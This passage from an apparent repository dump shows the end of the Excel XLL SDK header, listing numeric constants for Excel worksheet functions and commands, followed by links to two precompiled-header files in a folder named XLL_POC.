972 | #define xlfF_test 491 973 | #define xlfCovariance_p 492 974 | #define xlfCovariance_s 493 975 | #define xlfExpon_dist 494 976 | #define xlfGamma_dist 495 977 | #define xlfGamma_inv 496 978 | #define xlfMode_mult 497 979 | #define xlfMode_sngl 498 980 | #define xlfNorm_dist 499 981 | #define xlfNorm_inv 500 982 | #define xlfPercentile_exc 501 983 | #define xlfPercentile_inc 502 984 | #define xlfPercentrank_exc 503 985 | #define xlfPercentrank_inc 504 986 | #define xlfPoisson_dist 505 987 | #define xlfQuartile_exc 506 988 | #define xlfQuartile_inc 507 989 | #define xlfRank_avg 508 990 | #define xlfRank_eq 509 991 | #define xlfStdev_s 510 992 | #define xlfStdev_p 511 993 | #define xlfT_dist 512 994 | #define xlfT_dist_2t 513 995 | #define xlfT_dist_rt 514 996 | #define xlfT_inv 515 997 | #define xlfT_inv_2t 516 998 | #define xlfVar_s 517 999 | #define xlfVar_p 518 1000 | #define xlfWeibull_dist 519 1001 | #define xlfNetworkdays_intl 520 1002 | #define xlfWorkday_intl 521 1003 | #define xlfEcma_ceiling 522 1004 | #define xlfIso_ceiling 523 1005 | #define xlfBeta_dist 525 1006 | #define xlfBeta_inv 526 1007 | #define xlfChisq_dist 527 1008 | #define xlfChisq_dist_rt 528 1009 | #define xlfChisq_inv 529 1010 | #define xlfChisq_inv_rt 530 1011 | #define xlfF_dist 531 1012 | #define xlfF_dist_rt 532 1013 | #define xlfF_inv 533 1014 | #define xlfF_inv_rt 534 1015 | #define xlfHypgeom_dist 535 1016 | #define xlfLognorm_dist 536 1017 | #define xlfLognorm_inv 537 1018 | #define xlfNegbinom_dist 538 1019 | #define xlfNorm_s_dist 539 1020 | #define xlfNorm_s_inv 540 1021 | #define xlfT_test 541 1022 | #define xlfZ_test 542 1023 | #define xlfErf_precise 543 1024 | #define xlfErfc_precise 544 1025 | #define xlfGammaln_precise 545 1026 | #define xlfCeiling_precise 546 1027 | #define xlfFloor_precise 547 1028 | #define xlfAcot 548 1029 | #define xlfAcoth 549 1030 | #define xlfCot 550 1031 | #define xlfCoth 551 1032 | #define xlfCsc 552 1033 | #define xlfCsch 553 1034 | #define xlfSec 554 1035 | #define xlfSech 555 1036 | #define xlfImtan 556 1037 | #define xlfImcot 557 1038 | #define xlfImcsc 558 1039 | #define xlfImcsch 559 1040 | #define xlfImsec 560 1041 | #define xlfImsech 561 1042 | #define xlfBitand 562 1043 | #define xlfBitor 563 1044 | #define xlfBitxor 564 1045 | #define xlfBitlshift 565 1046 | #define xlfBitrshift 566 1047 | #define xlfPermutationa 567 1048 | #define xlfCombina 568 1049 | #define xlfXor 569 1050 | #define xlfPduration 570 1051 | #define xlfBase 571 1052 | #define xlfDecimal 572 1053 | #define xlfDays 573 1054 | #define xlfBinom_dist_range 574 1055 | #define xlfGamma 575 1056 | #define xlfSkew_p 576 1057 | #define xlfGauss 577 1058 | #define xlfPhi 578 1059 | #define xlfRri 579 1060 | #define xlfUnichar 580 1061 | #define xlfUnicode 581 1062 | #define xlfMunit 582 1063 | #define xlfArabic 583 1064 | #define xlfIsoweeknum 584 1065 | #define xlfNumbervalue 585 1066 | #define xlfSheet 586 1067 | #define xlfSheets 587 1068 | #define xlfFormulatext 588 1069 | #define xlfIsformula 589 1070 | #define xlfIfna 590 1071 | #define xlfCeiling_math 591 1072 | #define xlfFloor_math 592 1073 | #define xlfImsinh 593 1074 | #define xlfImcosh 594 1075 | #define xlfFilterxml 595 1076 | #define xlfWebservice 596 1077 | #define xlfEncodeurl 597 1078 | 1079 | /* Excel command numbers */ 1080 | #define xlcBeep (0 | xlCommand) 1081 | #define xlcOpen (1 | xlCommand) 1082 | #define xlcOpenLinks (2 | xlCommand) 1083 | #define xlcCloseAll (3 | xlCommand) 1084 | #define xlcSave (4 | xlCommand) 1085 | #define xlcSaveAs (5 | xlCommand) 1086 | #define xlcFileDelete (6 | xlCommand) 1087 | #define xlcPageSetup (7 | xlCommand) 1088 | #define xlcPrint (8 | xlCommand) 1089 | #define xlcPrinterSetup (9 | xlCommand) 1090 | #define xlcQuit (10 | xlCommand) 1091 | #define xlcNewWindow (11 | xlCommand) 1092 | #define xlcArrangeAll (12 | xlCommand) 1093 | #define xlcWindowSize (13 | xlCommand) 1094 | #define xlcWindowMove (14 | xlCommand) 1095 | #define xlcFull (15 | xlCommand) 1096 | #define xlcClose (16 | xlCommand) 1097 | #define xlcRun (17 | xlCommand) 1098 | #define xlcSetPrintArea (22 | xlCommand) 1099 | #define xlcSetPrintTitles (23 | xlCommand) 1100 | #define xlcSetPageBreak (24 | xlCommand) 1101 | #define xlcRemovePageBreak (25 | xlCommand) 1102 | #define xlcFont (26 | xlCommand) 1103 | #define xlcDisplay (27 | xlCommand) 1104 | #define xlcProtectDocument (28 | xlCommand) 1105 | #define xlcPrecision (29 | xlCommand) 1106 | #define xlcA1R1c1 (30 | xlCommand) 1107 | #define xlcCalculateNow (31 | xlCommand) 1108 | #define xlcCalculation (32 | xlCommand) 1109 | #define xlcDataFind (34 | xlCommand) 1110 | #define xlcExtract (35 | xlCommand) 1111 | #define xlcDataDelete (36 | xlCommand) 1112 | #define xlcSetDatabase (37 | xlCommand) 1113 | #define xlcSetCriteria (38 | xlCommand) 1114 | #define xlcSort (39 | xlCommand) 1115 | #define xlcDataSeries (40 | xlCommand) 1116 | #define xlcTable (41 | xlCommand) 1117 | #define xlcFormatNumber (42 | xlCommand) 1118 | #define xlcAlignment (43 | xlCommand) 1119 | #define xlcStyle (44 | xlCommand) 1120 | #define xlcBorder (45 | xlCommand) 1121 | #define xlcCellProtection (46 | xlCommand) 1122 | #define xlcColumnWidth (47 | xlCommand) 1123 | #define xlcUndo (48 | xlCommand) 1124 | #define xlcCut (49 | xlCommand) 1125 | #define xlcCopy (50 | xlCommand) 1126 | #define xlcPaste (51 | xlCommand) 1127 | #define xlcClear (52 | xlCommand) 1128 | #define xlcPasteSpecial (53 | xlCommand) 1129 | #define xlcEditDelete (54 | xlCommand) 1130 | #define xlcInsert (55 | xlCommand) 1131 | #define xlcFillRight (56 | xlCommand) 1132 | #define xlcFillDown (57 | xlCommand) 1133 | #define xlcDefineName (61 | xlCommand) 1134 | #define xlcCreateNames (62 | xlCommand) 1135 | #define xlcFormulaGoto (63 | xlCommand) 1136 | #define xlcFormulaFind (64 | xlCommand) 1137 | #define xlcSelectLastCell (65 | xlCommand) 1138 | #define xlcShowActiveCell (66 | xlCommand) 1139 | #define xlcGalleryArea (67 | xlCommand) 1140 | #define xlcGalleryBar (68 | xlCommand) 1141 | #define xlcGalleryColumn (69 | xlCommand) 1142 | #define xlcGalleryLine (70 | xlCommand) 1143 | #define xlcGalleryPie (71 | xlCommand) 1144 | #define xlcGalleryScatter (72 | xlCommand) 1145 | #define xlcCombination (73 | xlCommand) 1146 | #define xlcPreferred (74 | xlCommand) 1147 | #define xlcAddOverlay (75 | xlCommand) 1148 | #define xlcGridlines (76 | xlCommand) 1149 | #define xlcSetPreferred (77 | xlCommand) 1150 | #define xlcAxes (78 | xlCommand) 1151 | #define xlcLegend (79 | xlCommand) 1152 | #define xlcAttachText (80 | xlCommand) 1153 | #define xlcAddArrow (81 | xlCommand) 1154 | #define xlcSelectChart (82 | xlCommand) 1155 | #define xlcSelectPlotArea (83 | xlCommand) 1156 | #define xlcPatterns (84 | xlCommand) 1157 | #define xlcMainChart (85 | xlCommand) 1158 | #define xlcOverlay (86 | xlCommand) 1159 | #define xlcScale (87 | xlCommand) 1160 | #define xlcFormatLegend (88 | xlCommand) 1161 | #define xlcFormatText (89 | xlCommand) 1162 | #define xlcEditRepeat (90 | xlCommand) 1163 | #define xlcParse (91 | xlCommand) 1164 | #define xlcJustify (92 | xlCommand) 1165 | #define xlcHide (93 | xlCommand) 1166 | #define xlcUnhide (94 | xlCommand) 1167 | #define xlcWorkspace (95 | xlCommand) 1168 | #define xlcFormula (96 | xlCommand) 1169 | #define xlcFormulaFill (97 | xlCommand) 1170 | #define xlcFormulaArray (98 | xlCommand) 1171 | #define xlcDataFindNext (99 | xlCommand) 1172 | #define xlcDataFindPrev (100 | xlCommand) 1173 | #define xlcFormulaFindNext (101 | xlCommand) 1174 | #define xlcFormulaFindPrev (102 | xlCommand) 1175 | #define xlcActivate (103 | xlCommand) 1176 | #define xlcActivateNext (104 | xlCommand) 1177 | #define xlcActivatePrev (105 | xlCommand) 1178 | #define xlcUnlockedNext (106 | xlCommand) 1179 | #define xlcUnlockedPrev (107 | xlCommand) 1180 | #define xlcCopyPicture (108 | xlCommand) 1181 | #define xlcSelect (109 | xlCommand) 1182 | #define xlcDeleteName (110 | xlCommand) 1183 | #define xlcDeleteFormat (111 | xlCommand) 1184 | #define xlcVline (112 | xlCommand) 1185 | #define xlcHline (113 | xlCommand) 1186 | #define xlcVpage (114 | xlCommand) 1187 | #define xlcHpage (115 | xlCommand) 1188 | #define xlcVscroll (116 | xlCommand) 1189 | #define xlcHscroll (117 | xlCommand) 1190 | #define xlcAlert (118 | xlCommand) 1191 | #define xlcNew (119 | xlCommand) 1192 | #define xlcCancelCopy (120 | xlCommand) 1193 | #define xlcShowClipboard (121 | xlCommand) 1194 | #define xlcMessage (122 | xlCommand) 1195 | #define xlcPasteLink (124 | xlCommand) 1196 | #define xlcAppActivate (125 | xlCommand) 1197 | #define xlcDeleteArrow (126 | xlCommand) 1198 | #define xlcRowHeight (127 | xlCommand) 1199 | #define xlcFormatMove (128 | xlCommand) 1200 | #define xlcFormatSize (129 | xlCommand) 1201 | #define xlcFormulaReplace (130 | xlCommand) 1202 | #define xlcSendKeys (131 | xlCommand) 1203 | #define xlcSelectSpecial (132 | xlCommand) 1204 | #define xlcApplyNames (133 | xlCommand) 1205 | #define xlcReplaceFont (134 | xlCommand) 1206 | #define xlcFreezePanes (135 | xlCommand) 1207 | #define xlcShowInfo (136 | xlCommand) 1208 | #define xlcSplit (137 | xlCommand) 1209 | #define xlcOnWindow (138 | xlCommand) 1210 | #define xlcOnData (139 | xlCommand) 1211 | #define xlcDisableInput (140 | xlCommand) 1212 | #define xlcEcho (141 | xlCommand) 1213 | #define xlcOutline (142 | xlCommand) 1214 | #define xlcListNames (143 | xlCommand) 1215 | #define xlcFileClose (144 | xlCommand) 1216 | #define xlcSaveWorkbook (145 | xlCommand) 1217 | #define xlcDataForm (146 | xlCommand) 1218 | #define xlcCopyChart (147 | xlCommand) 1219 | #define xlcOnTime (148 | xlCommand) 1220 | #define xlcWait (149 | xlCommand) 1221 | #define xlcFormatFont (150 | xlCommand) 1222 | #define xlcFillUp (151 | xlCommand) 1223 | #define xlcFillLeft (152 | xlCommand) 1224 | #define xlcDeleteOverlay (153 | xlCommand) 1225 | #define xlcNote (154 | xlCommand) 1226 | #define xlcShortMenus (155 | xlCommand) 1227 | #define xlcSetUpdateStatus (159 | xlCommand) 1228 | #define xlcColorPalette (161 | xlCommand) 1229 | #define xlcDeleteStyle (162 | xlCommand) 1230 | #define xlcWindowRestore (163 | xlCommand) 1231 | #define xlcWindowMaximize (164 | xlCommand) 1232 | #define xlcError (165 | xlCommand) 1233 | #define xlcChangeLink (166 | xlCommand) 1234 | #define xlcCalculateDocument (167 | xlCommand) 1235 | #define xlcOnKey (168 | xlCommand) 1236 | #define xlcAppRestore (169 | xlCommand) 1237 | #define xlcAppMove (170 | xlCommand) 1238 | #define xlcAppSize (171 | xlCommand) 1239 | #define xlcAppMinimize (172 | xlCommand) 1240 | #define xlcAppMaximize (173 | xlCommand) 1241 | #define xlcBringToFront (174 | xlCommand) 1242 | #define xlcSendToBack (175 | xlCommand) 1243 | #define xlcMainChartType (185 | xlCommand) 1244 | #define xlcOverlayChartType (186 | xlCommand) 1245 | #define xlcSelectEnd (187 | xlCommand) 1246 | #define xlcOpenMail (188 | xlCommand) 1247 | #define xlcSendMail (189 | xlCommand) 1248 | #define xlcStandardFont (190 | xlCommand) 1249 | #define xlcConsolidate (191 | xlCommand) 1250 | #define xlcSortSpecial (192 | xlCommand) 1251 | #define xlcGallery3dArea (193 | xlCommand) 1252 | #define xlcGallery3dColumn (194 | xlCommand) 1253 | #define xlcGallery3dLine (195 | xlCommand) 1254 | #define xlcGallery3dPie (196 | xlCommand) 1255 | #define xlcView3d (197 | xlCommand) 1256 | #define xlcGoalSeek (198 | xlCommand) 1257 | #define xlcWorkgroup (199 | xlCommand) 1258 | #define xlcFillGroup (200 | xlCommand) 1259 | #define xlcUpdateLink (201 | xlCommand) 1260 | #define xlcPromote (202 | xlCommand) 1261 | #define xlcDemote (203 | xlCommand) 1262 | #define xlcShowDetail (204 | xlCommand) 1263 | #define xlcUngroup (206 | xlCommand) 1264 | #define xlcObjectProperties (207 | xlCommand) 1265 | #define xlcSaveNewObject (208 | xlCommand) 1266 | #define xlcShare (209 | xlCommand) 1267 | #define xlcShareName (210 | xlCommand) 1268 | #define xlcDuplicate (211 | xlCommand) 1269 | #define xlcApplyStyle (212 | xlCommand) 1270 | #define xlcAssignToObject (213 | xlCommand) 1271 | #define xlcObjectProtection (214 | xlCommand) 1272 | #define xlcHideObject (215 | xlCommand) 1273 | #define xlcSetExtract (216 | xlCommand) 1274 | #define xlcCreatePublisher (217 | xlCommand) 1275 | #define xlcSubscribeTo (218 | xlCommand) 1276 | #define xlcAttributes (219 | xlCommand) 1277 | #define xlcShowToolbar (220 | xlCommand) 1278 | #define xlcPrintPreview (222 | xlCommand) 1279 | #define xlcEditColor (223 | xlCommand) 1280 | #define xlcShowLevels (224 | xlCommand) 1281 | #define xlcFormatMain (225 | xlCommand) 1282 | #define xlcFormatOverlay (226 | xlCommand) 1283 | #define xlcOnRecalc (227 | xlCommand) 1284 | #define xlcEditSeries (228 | xlCommand) 1285 | #define xlcDefineStyle (229 | xlCommand) 1286 | #define xlcLinePrint (240 | xlCommand) 1287 | #define xlcEnterData (243 | xlCommand) 1288 | #define xlcGalleryRadar (249 | xlCommand) 1289 | #define xlcMergeStyles (250 | xlCommand) 1290 | #define xlcEditionOptions (251 | xlCommand) 1291 | #define xlcPastePicture (252 | xlCommand) 1292 | #define xlcPastePictureLink (253 | xlCommand) 1293 | #define xlcSpelling (254 | xlCommand) 1294 | #define xlcZoom (256 | xlCommand) 1295 | #define xlcResume (258 | xlCommand) 1296 | #define xlcInsertObject (259 | xlCommand) 1297 | #define xlcWindowMinimize (260 | xlCommand) 1298 | #define xlcSize (261 | xlCommand) 1299 | #define xlcMove (262 | xlCommand) 1300 | #define xlcSoundNote (265 | xlCommand) 1301 | #define xlcSoundPlay (266 | xlCommand) 1302 | #define xlcFormatShape (267 | xlCommand) 1303 | #define xlcExtendPolygon (268 | xlCommand) 1304 | #define xlcFormatAuto (269 | xlCommand) 1305 | #define xlcGallery3dBar (272 | xlCommand) 1306 | #define xlcGallery3dSurface (273 | xlCommand) 1307 | #define xlcFillAuto (274 | xlCommand) 1308 | #define xlcCustomizeToolbar (276 | xlCommand) 1309 | #define xlcAddTool (277 | xlCommand) 1310 | #define xlcEditObject (278 | xlCommand) 1311 | #define xlcOnDoubleclick (279 | xlCommand) 1312 | #define xlcOnEntry (280 | xlCommand) 1313 | #define xlcWorkbookAdd (281 | xlCommand) 1314 | #define xlcWorkbookMove (282 | xlCommand) 1315 | #define xlcWorkbookCopy (283 | xlCommand) 1316 | #define xlcWorkbookOptions (284 | xlCommand) 1317 | #define xlcSaveWorkspace (285 | xlCommand) 1318 | #define xlcChartWizard (288 | xlCommand) 1319 | #define xlcDeleteTool (289 | xlCommand) 1320 | #define xlcMoveTool (290 | xlCommand) 1321 | #define xlcWorkbookSelect (291 | xlCommand) 1322 | #define xlcWorkbookActivate (292 | xlCommand) 1323 | #define xlcAssignToTool (293 | xlCommand) 1324 | #define xlcCopyTool (295 | xlCommand) 1325 | #define xlcResetTool (296 | xlCommand) 1326 | #define xlcConstrainNumeric (297 | xlCommand) 1327 | #define xlcPasteTool (298 | xlCommand) 1328 | #define xlcPlacement (300 | xlCommand) 1329 | #define xlcFillWorkgroup (301 | xlCommand) 1330 | #define xlcWorkbookNew (302 | xlCommand) 1331 | #define xlcScenarioCells (305 | xlCommand) 1332 | #define xlcScenarioDelete (306 | xlCommand) 1333 | #define xlcScenarioAdd (307 | xlCommand) 1334 | #define xlcScenarioEdit (308 | xlCommand) 1335 | #define xlcScenarioShow (309 | xlCommand) 1336 | #define xlcScenarioShowNext (310 | xlCommand) 1337 | #define xlcScenarioSummary (311 | xlCommand) 1338 | #define xlcPivotTableWizard (312 | xlCommand) 1339 | #define xlcPivotFieldProperties (313 | xlCommand) 1340 | #define xlcPivotField (314 | xlCommand) 1341 | #define xlcPivotItem (315 | xlCommand) 1342 | #define xlcPivotAddFields (316 | xlCommand) 1343 | #define xlcOptionsCalculation (318 | xlCommand) 1344 | #define xlcOptionsEdit (319 | xlCommand) 1345 | #define xlcOptionsView (320 | xlCommand) 1346 | #define xlcAddinManager (321 | xlCommand) 1347 | #define xlcMenuEditor (322 | xlCommand) 1348 | #define xlcAttachToolbars (323 | xlCommand) 1349 | #define xlcVbaactivate (324 | xlCommand) 1350 | #define xlcOptionsChart (325 | xlCommand) 1351 | #define xlcVbaInsertFile (328 | xlCommand) 1352 | #define xlcVbaProcedureDefinition (330 | xlCommand) 1353 | #define xlcRoutingSlip (336 | xlCommand) 1354 | #define xlcRouteDocument (338 | xlCommand) 1355 | #define xlcMailLogon (339 | xlCommand) 1356 | #define xlcInsertPicture (342 | xlCommand) 1357 | #define xlcEditTool (343 | xlCommand) 1358 | #define xlcGalleryDoughnut (344 | xlCommand) 1359 | #define xlcChartTrend (350 | xlCommand) 1360 | #define xlcPivotItemProperties (352 | xlCommand) 1361 | #define xlcWorkbookInsert (354 | xlCommand) 1362 | #define xlcOptionsTransition (355 | xlCommand) 1363 | #define xlcOptionsGeneral (356 | xlCommand) 1364 | #define xlcFilterAdvanced (370 | xlCommand) 1365 | #define xlcMailAddMailer (373 | xlCommand) 1366 | #define xlcMailDeleteMailer (374 | xlCommand) 1367 | #define xlcMailReply (375 | xlCommand) 1368 | #define xlcMailReplyAll (376 | xlCommand) 1369 | #define xlcMailForward (377 | xlCommand) 1370 | #define xlcMailNextLetter (378 | xlCommand) 1371 | #define xlcDataLabel (379 | xlCommand) 1372 | #define xlcInsertTitle (380 | xlCommand) 1373 | #define xlcFontProperties (381 | xlCommand) 1374 | #define xlcMacroOptions (382 | xlCommand) 1375 | #define xlcWorkbookHide (383 | xlCommand) 1376 | #define xlcWorkbookUnhide (384 | xlCommand) 1377 | #define xlcWorkbookDelete (385 | xlCommand) 1378 | #define xlcWorkbookName (386 | xlCommand) 1379 | #define xlcGalleryCustom (388 | xlCommand) 1380 | #define xlcAddChartAutoformat (390 | xlCommand) 1381 | #define xlcDeleteChartAutoformat (391 | xlCommand) 1382 | #define xlcChartAddData (392 | xlCommand) 1383 | #define xlcAutoOutline (393 | xlCommand) 1384 | #define xlcTabOrder (394 | xlCommand) 1385 | #define xlcShowDialog (395 | xlCommand) 1386 | #define xlcSelectAll (396 | xlCommand) 1387 | #define xlcUngroupSheets (397 | xlCommand) 1388 | #define xlcSubtotalCreate (398 | xlCommand) 1389 | #define xlcSubtotalRemove (399 | xlCommand) 1390 | #define xlcRenameObject (400 | xlCommand) 1391 | #define xlcWorkbookScroll (412 | xlCommand) 1392 | #define xlcWorkbookNext (413 | xlCommand) 1393 | #define xlcWorkbookPrev (414 | xlCommand) 1394 | #define xlcWorkbookTabSplit (415 | xlCommand) 1395 | #define xlcFullScreen (416 | xlCommand) 1396 | #define xlcWorkbookProtect (417 | xlCommand) 1397 | #define xlcScrollbarProperties (420 | xlCommand) 1398 | #define xlcPivotShowPages (421 | xlCommand) 1399 | #define xlcTextToColumns (422 | xlCommand) 1400 | #define xlcFormatCharttype (423 | xlCommand) 1401 | #define xlcLinkFormat (424 | xlCommand) 1402 | #define xlcTracerDisplay (425 | xlCommand) 1403 | #define xlcTracerNavigate (430 | xlCommand) 1404 | #define xlcTracerClear (431 | xlCommand) 1405 | #define xlcTracerError (432 | xlCommand) 1406 | #define xlcPivotFieldGroup (433 | xlCommand) 1407 | #define xlcPivotFieldUngroup (434 | xlCommand) 1408 | #define xlcCheckboxProperties (435 | xlCommand) 1409 | #define xlcLabelProperties (436 | xlCommand) 1410 | #define xlcListboxProperties (437 | xlCommand) 1411 | #define xlcEditboxProperties (438 | xlCommand) 1412 | #define xlcPivotRefresh (439 | xlCommand) 1413 | #define xlcLinkCombo (440 | xlCommand) 1414 | #define xlcOpenText (441 | xlCommand) 1415 | #define xlcHideDialog (442 | xlCommand) 1416 | #define xlcSetDialogFocus (443 | xlCommand) 1417 | #define xlcEnableObject (444 | xlCommand) 1418 | #define xlcPushbuttonProperties (445 | xlCommand) 1419 | #define xlcSetDialogDefault (446 | xlCommand) 1420 | #define xlcFilter (447 | xlCommand) 1421 | #define xlcFilterShowAll (448 | xlCommand) 1422 | #define xlcClearOutline (449 | xlCommand) 1423 | #define xlcFunctionWizard (450 | xlCommand) 1424 | #define xlcAddListItem (451 | xlCommand) 1425 | #define xlcSetListItem (452 | xlCommand) 1426 | #define xlcRemoveListItem (453 | xlCommand) 1427 | #define xlcSelectListItem (454 | xlCommand) 1428 | #define xlcSetControlValue (455 | xlCommand) 1429 | #define xlcSaveCopyAs (456 | xlCommand) 1430 | #define xlcOptionsListsAdd (458 | xlCommand) 1431 | #define xlcOptionsListsDelete (459 | xlCommand) 1432 | #define xlcSeriesAxes (460 | xlCommand) 1433 | #define xlcSeriesX (461 | xlCommand) 1434 | #define xlcSeriesY (462 | xlCommand) 1435 | #define xlcErrorbarX (463 | xlCommand) 1436 | #define xlcErrorbarY (464 | xlCommand) 1437 | #define xlcFormatChart (465 | xlCommand) 1438 | #define xlcSeriesOrder (466 | xlCommand) 1439 | #define xlcMailLogoff (467 | xlCommand) 1440 | #define xlcClearRoutingSlip (468 | xlCommand) 1441 | #define xlcAppActivateMicrosoft (469 | xlCommand) 1442 | #define xlcMailEditMailer (470 | xlCommand) 1443 | #define xlcOnSheet (471 | xlCommand) 1444 | #define xlcStandardWidth (472 | xlCommand) 1445 | #define xlcScenarioMerge (473 | xlCommand) 1446 | #define xlcSummaryInfo (474 | xlCommand) 1447 | #define xlcFindFile (475 | xlCommand) 1448 | #define xlcActiveCellFont (476 | xlCommand) 1449 | #define xlcEnableTipwizard (477 | xlCommand) 1450 | #define xlcVbaMakeAddin (478 | xlCommand) 1451 | #define xlcInsertdatatable (480 | xlCommand) 1452 | #define xlcWorkgroupOptions (481 | xlCommand) 1453 | #define xlcMailSendMailer (482 | xlCommand) 1454 | #define xlcAutocorrect (485 | xlCommand) 1455 | #define xlcPostDocument (489 | xlCommand) 1456 | #define xlcPicklist (491 | xlCommand) 1457 | #define xlcViewShow (493 | xlCommand) 1458 | #define xlcViewDefine (494 | xlCommand) 1459 | #define xlcViewDelete (495 | xlCommand) 1460 | #define xlcSheetBackground (509 | xlCommand) 1461 | #define xlcInsertMapObject (510 | xlCommand) 1462 | #define xlcOptionsMenono (511 | xlCommand) 1463 | #define xlcNormal (518 | xlCommand) 1464 | #define xlcLayout (519 | xlCommand) 1465 | #define xlcRmPrintArea (520 | xlCommand) 1466 | #define xlcClearPrintArea (521 | xlCommand) 1467 | #define xlcAddPrintArea (522 | xlCommand) 1468 | #define xlcMoveBrk (523 | xlCommand) 1469 | #define xlcHidecurrNote (545 | xlCommand) 1470 | #define xlcHideallNotes (546 | xlCommand) 1471 | #define xlcDeleteNote (547 | xlCommand) 1472 | #define xlcTraverseNotes (548 | xlCommand) 1473 | #define xlcActivateNotes (549 | xlCommand) 1474 | #define xlcProtectRevisions (620 | xlCommand) 1475 | #define xlcUnprotectRevisions (621 | xlCommand) 1476 | #define xlcOptionsMe (647 | xlCommand) 1477 | #define xlcWebPublish (653 | xlCommand) 1478 | #define xlcNewwebquery (667 | xlCommand) 1479 | #define xlcPivotTableChart (673 | xlCommand) 1480 | #define xlcOptionsSave (753 | xlCommand) 1481 | #define xlcOptionsSpell (755 | xlCommand) 1482 | #define xlcHideallInkannots (808 | xlCommand) 1483 | -------------------------------------------------------------------------------- /XLL_POC/ipch/XLL_POC-cee785e4/XLL_POC-73a963d7.ipch: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/moohax/xllpoc/b89cda82b63ea4e4d12b7ac0da313b9fa20ba926/XLL_POC/ipch/XLL_POC-cee785e4/XLL_POC-73a963d7.ipch -------------------------------------------------------------------------------- /XLL_POC/ipch/XLL_POC-cee785e4/XLL_POC-c374541d.ipch: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/moohax/xllpoc/b89cda82b63ea4e4d12b7ac0da313b9fa20ba926/XLL_POC/ipch/XLL_POC-cee785e4/XLL_POC-c374541d.ipch --------------------------------------------------------------------------------